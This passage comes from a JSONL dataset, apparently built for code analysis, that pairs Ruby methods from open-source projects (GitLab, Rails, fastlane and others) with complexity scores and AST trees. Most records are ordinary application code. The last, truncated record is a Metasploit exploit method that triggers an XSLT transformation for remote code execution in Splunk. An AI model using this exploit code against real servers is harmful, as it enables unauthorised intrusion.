end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_handler_class_name?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"class_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_name\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_name\"]},\"strip\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_name\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A[A-Z][a-zA-Z0-9_]*\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hooks\"]},\"Security\"]},\"DANGEROUS_CLASSES\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"class_name\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"9b01373a-7484-47e8-810a-1d13e5d1386c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/achievements/destroy_service.rb","start_line":12,"raw_source":"def execute\n      return error_no_permissions unless allowed?\n\n      achievement.delete\n      ServiceResponse.success(payload: achievement)\n    end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error_no_permissions\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"achievement\"]},\"delete\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[null,\"achievement\"]}]}]}]}]}]}","id":"440eeb53-24cc-48cf-ac1b-7bdc8fe2f2d6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/current_settings.rb","start_line":6,"raw_source":"def signup_disabled?\n        !signup_enabled?\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"signup_disabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"signup_enabled?\"]},\"!\"]}]}","id":"1826df70-9e41-4266-b6d2-060b08838086"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/references/work_item_reference_filter.rb","start_line":14,"raw_source":"def parent_records(parent, ids)\n          parent.work_items.iid_in(ids.to_a)\n                .includes(:project, :namespace, :work_item_type)\n        end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"parent_records\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent\"]},{\"type\":\"arg\",\"children\":[\"ids\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"work_items\"]},\"iid_in\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"to_a\"]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"sym\",\"children\":[\"work_item_type\"]}]}]}","id":"96409bfe-e14f-4599-bfb9-552ce536dacf"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_worker.rb","start_line":344,"raw_source":"def start_runner\n    if systemd_worker?\n      start_systemd_worker\n    elsif containerized_worker?\n      start_runner_via_container\n    else\n      start_runner_via_spawn\n    end\n  end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"start_runner\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"systemd_worker?\"]},{\"type\":\"send\",\"children\":[null,\"start_systemd_worker\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"containerized_worker?\"]},{\"type\":\"send\",\"children\":[null,\"start_runner_via_container\"]},{\"type\":\"send\",\"children\":[null,\"start_runner_via_spawn\"]}]}]}]}","id":"b0ed8589-43e5-4190-9bb7-cb9c5f582269"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/work_packages/progress/sql_commands.rb","start_line":372,"raw_source":"def execute(sql)\n    ActiveRecord::Base.connection.execute(sql)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sql\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"execute\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]}","id":"1ab109b5-5374-4d22-8d6f-5208ef0ec308"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/calculations_test.rb","start_line":255,"raw_source":"def test_should_not_use_alias_for_grouped_field\n    assert_queries_match(/GROUP BY #{Regexp.escape(quote_table_name(\"accounts.firm_id\"))}/i) do\n      c = Account.group(:firm_id).order(\"accounts_firm_id\").sum(:credit_limit)\n      assert_equal [1, 2, 6, 9], c.keys.compact\n    end\n  end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_not_use_alias_for_grouped_field\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"GROUP BY \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"str\",\"children\":[\"accounts.firm_id\"]}]}]}]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"group\",{\"type\":\"sym\",\"children\":[\"firm_id\"]}]},\"order\",{\"type\":\"str\",\"children\":[\"accounts_firm_id\"]}]},\"sum\",{\"type\":\"sym\",\"children\":[\"credit_limit\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[9]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"keys\"]},\"compact\"]}]}]}]}]}","id":"2af70189-8e86-4426-8731-c3781309983e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/i18n/po_linter.rb","start_line":84,"raw_source":"def validate_spaces(errors, entry)\n        if entry.translations_contain_leading_space?\n          errors << 'has leading space. Remove it from the translation'\n        end\n\n        if entry.translations_contain_trailing_space?\n          errors << 'has trailing space. Remove it from the translation'\n        end\n\n        if entry.translations_contain_multiple_spaces?\n          errors << 'has different sets of consecutive multiple spaces. Make them consistent with source string'\n        end\n      end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_spaces\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"errors\"]},{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"translations_contain_leading_space?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"<<\",{\"type\":\"str\",\"children\":[\"has leading space. Remove it from the translation\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"translations_contain_trailing_space?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"<<\",{\"type\":\"str\",\"children\":[\"has trailing space. Remove it from the translation\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"translations_contain_multiple_spaces?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"<<\",{\"type\":\"str\",\"children\":[\"has different sets of consecutive multiple spaces. Make them consistent with source string\"]}]},null]}]}]}","id":"d64b15a2-6a06-4f57-a8a3-d03c4de126e3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/logger.rb","start_line":80,"raw_source":"def tid\n          Thread.current[\"sidekiq_tid\"] ||= (Thread.current.object_id ^ ::Process.pid).to_s(36)\n        end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"tid\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]\",{\"type\":\"str\",\"children\":[\"sidekiq_tid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"object_id\"]},\"^\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Process\"]},\"pid\"]}]}]},\"to_s\",{\"type\":\"int\",\"children\":[36]}]}]}]}","id":"c9bc97ec-4cbd-43a6-b855-c818092486f6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/validations/uniqueness.rb","start_line":83,"raw_source":"def covered_by_unique_index?(klass, record, attribute, scope)\n        @covered ||= self.attributes.map(&:to_s).select do |attr|\n          attributes = scope + [attr]\n          attributes = resolve_attributes(record, attributes)\n\n          klass.schema_cache.indexes(klass.table_name).any? do |index|\n            index.unique &&\n              index.where.nil? &&\n              (Array(index.columns) - attributes).empty?\n          end\n        end\n\n        @covered.include?(attribute.to_s)\n      end","complexity_score":35.5,"ast_json":"{\"type\":\"def\",\"children\":[\"covered_by_unique_index?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@covered\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"attributes\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"send\",\"children\":[null,\"resolve_attributes\",{\"type\":\"lvar\",\"children\":[\"record\"]},{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"schema_cache\"]},\"indexes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"table_name\"]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"unique\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"where\"]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"columns\"]}]},\"-\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]},\"empty?\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@covered\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]},\"to_s\"]}]}]}]}","id":"e37fe5f9-b9bd-4886-9894-213fb2666e63"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/test/web_test.rb","start_line":878,"raw_source":"def add_worker\n    key = \"#{hostname}:#{$$}\"\n    msg = \"{\\\"queue\\\":\\\"default\\\",\\\"payload\\\":{\\\"retry\\\":true,\\\"queue\\\":\\\"default\\\",\\\"timeout\\\":20,\\\"backtrace\\\":5,\\\"class\\\":\\\"HardJob\\\",\\\"args\\\":[\\\"bob\\\",10,5],\\\"jid\\\":\\\"2b5ad2b016f5e063a1c62872\\\"},\\\"run_at\\\":1361208995}\"\n    @config.redis do |conn|\n      conn.multi do |transaction|\n        transaction.sadd(\"processes\", [key])\n        transaction.hset(key, \"info\", Sidekiq.dump_json(\"hostname\" => \"foo\", \"started_at\" => Time.now.to_f, \"queues\" => []), \"at\", Time.now.to_f, \"busy\", 4)\n        transaction.hset(\"#{key}:work\", Time.now.to_f, msg)\n      end\n    end\n  end","complexity_score":22.98,"ast_json":"{\"type\":\"def\",\"children\":[\"add_worker\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hostname\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$$\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"str\",\"children\":[\"{\\\"queue\\\":\\\"default\\\",\\\"payload\\\":{\\\"retry\\\":true,\\\"queue\\\":\\\"default\\\",\\\"timeout\\\":20,\\\"backtrace\\\":5,\\\"class\\\":\\\"HardJob\\\",\\\"args\\\":[\\\"bob\\\",10,5],\\\"jid\\\":\\\"2b5ad2b016f5e063a1c62872\\\"},\\\"run_at\\\":1361208995}\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"multi\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"transaction\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transaction\"]},\"sadd\",{\"type\":\"str\",\"children\":[\"processes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transaction\"]},\"hset\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"info\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"dump_json\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"hostname\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"started_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_f\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"queues\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"str\",\"children\":[\"at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_f\"]},{\"type\":\"str\",\"children\":[\"busy\"]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transaction\"]},\"hset\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\":work\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_f\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]}]}]}","id":"afa558b3-e616-4ab1-bf18-39cada10d3ef"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/utils/best_effort_json_parser.rb","start_line":33,"raw_source":"def fix_common_issues(text)\n          text.gsub(/(\\w+):/, '\"\\1\":').gsub(/'/, \"\\\"\")\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fix_common_issues\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(\\\\w+):\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\\"\\\\1\\\":\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}","id":"aac32aeb-7e41-4217-9fd4-0f44c0cd45a9"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/match/lib/match/encryption/openssl.rb","start_line":93,"raw_source":"def fetch_password!\n        password = ENV[\"MATCH_PASSWORD\"]\n        unless password\n          item = Security::InternetPassword.find(server: server_name(self.keychain_name))\n          password = item.password if item\n        end\n\n        unless password\n          if !UI.interactive?\n            UI.error(\"Neither the MATCH_PASSWORD environment variable nor the local keychain contained a password.\")\n            UI.error(\"Bailing out instead of asking for a password, since this is non-interactive mode.\")\n            UI.user_error!(\"Try setting the MATCH_PASSWORD environment variable, or temporarily enable interactive mode to store a password.\")\n          else\n            UI.important(\"Enter the passphrase that should be used to encrypt/decrypt your certificates\")\n            UI.important(\"This passphrase is specific per repository and will be stored in your local keychain\")\n            UI.important(\"Make sure to remember the password, as you'll need it when you run match on a different machine\")\n            password = FastlaneCore::Helper.ask_password(message: \"Passphrase for Match storage: \", confirm: true)\n            store_password(password)\n          end\n        end\n\n        return password\n      end","complexity_score":28.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_password!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"password\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MATCH_PASSWORD\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"item\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Security\"]},\"InternetPassword\"]},\"find\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"server\"]},{\"type\":\"send\",\"children\":[null,\"server_name\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"keychain_name\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},{\"type\":\"lvasgn\",\"children\":[\"password\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"password\"]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]},null,{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"interactive?\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"str\",\"children\":[\"Neither the MATCH_PASSWORD environment variable nor the local keychain contained a password.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"str\",\"children\":[\"Bailing out instead of asking for a password, since this is non-interactive mode.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"Try setting the MATCH_PASSWORD environment variable, or temporarily enable interactive mode to store a password.\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"str\",\"children\":[\"Enter the passphrase that should be used to encrypt/decrypt your certificates\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"str\",\"children\":[\"This passphrase is specific per repository and will be stored in your local keychain\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"str\",\"children\":[\"Make sure to remember the password, as you'll need it when you run match on a different machine\"]}]},{\"type\":\"lvasgn\",\"children\":[\"password\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Helper\"]},\"ask_password\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Passphrase for Match storage: \"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confirm\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"store_password\",{\"type\":\"lvar\",\"children\":[\"password\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]}]}]}]}","id":"83c3778f-d7b1-499f-981a-9e5062474ca5"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/sanitize_helper_test.rb","start_line":210,"raw_source":"def test_link_sanitizer_returns_a_sanitizer\n    sanitizer = @subject_class.link_sanitizer\n\n    assert_equal(vendor.link_sanitizer, sanitizer.class)\n    assert_respond_to(sanitizer, :sanitize)\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_link_sanitizer_returns_a_sanitizer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sanitizer\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject_class\"]},\"link_sanitizer\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vendor\"]},\"link_sanitizer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sanitizer\"]},\"class\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_respond_to\",{\"type\":\"lvar\",\"children\":[\"sanitizer\"]},{\"type\":\"sym\",\"children\":[\"sanitize\"]}]}]}]}","id":"917a7f48-aa80-48f5-9210-8fea23fc3eec"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/set_attributes_service.rb","start_line":264,"raw_source":"def custom_field_context_changed?\n    work_package.type_id_changed? || work_package.project_id_changed?\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"custom_field_context_changed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"type_id_changed?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"project_id_changed?\"]}]}]}","id":"9064686a-40e2-43b5-9aac-c739d568dae4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/ci/job_token/jwt.rb","start_line":93,"raw_source":"def initialize(jwt)\n        raise ArgumentError, 'argument is not Authn::Tokens::Jwt' unless jwt.is_a?(::Authn::Tokens::Jwt)\n\n        @jwt = jwt\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"jwt\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jwt\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Authn\"]},\"Tokens\"]},\"Jwt\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"argument is not Authn::Tokens::Jwt\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@jwt\",{\"type\":\"lvar\",\"children\":[\"jwt\"]}]}]}]}","id":"a110f4e7-09d2-40e0-94ea-f8ed77f53525"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/http/splunk_xslt_authenticated_rce.rb","start_line":166,"raw_source":"def trigger_xslt_transform(jsid, text_value, cookie_string)\n    return nil unless jsid && text_value\n\n    exploit_endpoint = normalize_uri(target_uri.path, 'en-US', 'api', 'search', 'jobs', jsid, 'results')\n    exploit_endpoint << \"?xsl=/opt/splunk/var/run/splunk/dispatch/#{text_value}/#{datastore['RANDOM_FILENAME']}.xsl\"\n\n    xslt_headers = {\n      'X-Splunk-Module' => 'Splunk.Module.DispatchingModule',\n      'Connection' => 'close',\n      'Upgrade-Insecure-Requests' => '1',\n      'Accept-Language' => 'en-US,en;q=0.5',\n      'Accept-Encoding' => 'gzip, deflate',\n      'X-Requested-With' => 'XMLHttpRequest',\n      'Cookie' => cookie_string\n    }\n\n    print_status(\"Triggering XSLT transformation at #{exploit_endpoint}\")\n    res = send_request_cgi(\n      'uri' => exploit_endpoint,\n      'method' => 'GET',\n      'headers' => xslt_headers\n    )\n\n    unless res\n      print_error('Failed to trigger XSLT transformation: No response received')\n      return nil\n    end\n\n    if res.code == 200\n      print_good('XSLT transformation triggered successfully')\n      return true\n    end\n\n    print_error(\"Failed to trigger XSLT transformation: Server returned status code #{res.code}\")\n    return nil\n  end","complexity_score":23.3,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger_xslt_transform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"jsid\"]},{\"type\":\"arg\",\"children\":[\"text_value\"]},{\"type\":\"arg\",\"children\":[\"cookie_string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jsid\"]},{\"type\":\"lvar\",\"children\":[\"text_value\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exploit_endpoint\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"en-US\"]},{\"type\":\"str\",\"children\":[\"api\"]},{\"type\":\"str\",\"children\":[\"search\"]},{\"type\":\"str\",\"children\":[\"jobs\"]},{\"type\":\"lvar\",\"children\":[\"jsid\"]},{\"type\":\"